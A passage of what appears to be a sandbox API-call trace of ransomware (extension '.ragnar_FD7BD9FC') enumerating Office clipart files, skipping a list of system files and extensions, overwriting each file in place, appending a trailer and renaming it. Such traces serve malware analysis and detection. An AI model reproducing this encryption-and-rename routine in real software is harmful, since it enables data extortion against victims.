CloseHandle (hObject=0x104) returned 1 [0093.455] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" [0093.455] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.ragnar_FD7BD9FC" [0093.455] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.456] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0093.456] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.456] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02187_.GIF" | out: lpString1="WB02187_.GIF") returned="WB02187_.GIF" [0093.456] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned=".GIF" [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="autorun.inf") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="boot.ini") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="bootfont.bin") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="bootsect.bak") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="bootmgr") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="bootmgr.efi") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="desktop.ini") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="iconcache.db") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="ntldr") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="ntuser.dat") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.456] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="ntuser.ini") returned 1 [0093.457] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="thumbs.db") returned 1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.457] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif")) returned 0x20 [0093.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.457] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1401) returned 1 [0093.457] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.457] GetProcessHeap () returned 0x580000 [0093.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.457] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.459] VirtualAlloc (lpAddress=0x0, dwSize=0x579, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.459] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.459] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.459] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x579, lpOverlapped=0x0) returned 1 [0093.459] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.459] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x579, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.459] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x579, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x579, lpOverlapped=0x0) returned 1 [0093.459] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x579, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.460] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x579, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.460] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.460] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.460] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.460] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.460] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.460] GetProcessHeap () returned 0x580000 [0093.460] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.460] CloseHandle (hObject=0x104) returned 1 [0093.460] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" [0093.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.ragnar_FD7BD9FC" [0093.460] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0093.462] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.462] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02198_.GIF" | out: lpString1="WB02198_.GIF") returned="WB02198_.GIF" [0093.462] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned=".GIF" [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="autorun.inf") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="boot.ini") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="bootfont.bin") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="bootsect.bak") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="bootmgr") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="bootmgr.efi") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="desktop.ini") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="iconcache.db") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="ntldr") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="ntuser.dat") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="ntuser.ini") returned 1 [0093.462] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="thumbs.db") returned 1 [0093.462] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.462] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.463] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.463] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.463] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.463] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.463] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif")) returned 0x20 [0093.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.463] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=19132) returned 1 [0093.463] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4ab3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.463] GetProcessHeap () returned 0x580000 [0093.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.463] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.465] VirtualAlloc (lpAddress=0x0, dwSize=0x4abc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.465] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.465] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.465] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4abc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4abc, lpOverlapped=0x0) returned 1 [0093.466] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.466] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4abc, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.466] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4abc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4abc, lpOverlapped=0x0) returned 1 [0093.466] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4abc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.466] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.466] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4abc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.466] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.467] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.467] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.467] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.467] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.467] GetProcessHeap () returned 0x580000 [0093.467] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.467] CloseHandle (hObject=0x104) returned 1 [0093.467] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" [0093.467] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.ragnar_FD7BD9FC" [0093.467] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0093.468] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.468] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02201_.GIF" | out: lpString1="WB02201_.GIF") returned="WB02201_.GIF" [0093.468] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned=".GIF" [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="autorun.inf") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="boot.ini") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="bootfont.bin") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="bootsect.bak") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="bootmgr") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="bootmgr.efi") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="desktop.ini") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="iconcache.db") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="ntldr") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="ntuser.dat") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="ntuser.ini") returned 1 [0093.468] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="thumbs.db") returned 1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.468] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif")) returned 0x20 [0093.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.469] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5715) returned 1 [0093.469] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x164a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.469] GetProcessHeap () returned 0x580000 [0093.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.469] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.471] VirtualAlloc (lpAddress=0x0, dwSize=0x1653, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.471] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1653, lpOverlapped=0x0) returned 1 [0093.472] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.472] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1653, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.472] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1653, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1653, lpOverlapped=0x0) returned 1 [0093.472] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1653, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.472] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.472] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1653, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.473] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.473] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.473] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.473] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.473] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.473] GetProcessHeap () returned 0x580000 [0093.473] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.473] CloseHandle (hObject=0x104) returned 1 [0093.473] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" [0093.473] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft 